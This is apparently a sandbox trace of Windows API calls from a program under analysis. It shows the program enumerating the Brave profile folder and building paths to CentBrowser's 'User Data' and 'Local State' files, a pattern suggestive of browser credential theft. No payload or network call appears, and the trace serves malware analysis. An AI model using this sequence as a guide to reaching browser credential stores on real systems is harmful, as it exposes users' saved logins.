[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.828] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.828] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.829] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.830] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.830] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CentBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\"
[0052.830] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\"
[0052.830] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\"
[0052.830] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State"
[0052.830] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71
[0052.830] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x67d968
[0052.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=71, lpWideCharStr=0x67d968, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State") returned 71
[0052.830] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x67da00
[0052.830] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.830] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\local state")) returned 0xffffffff
[0052.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da00 | out: hHeap=0x670000) returned 1
[0052.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.831] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*") returned 60
[0052.831] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.831] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.831] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.831] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.831] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.831] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.831] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.831] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.831] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.831] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.831] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.831] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
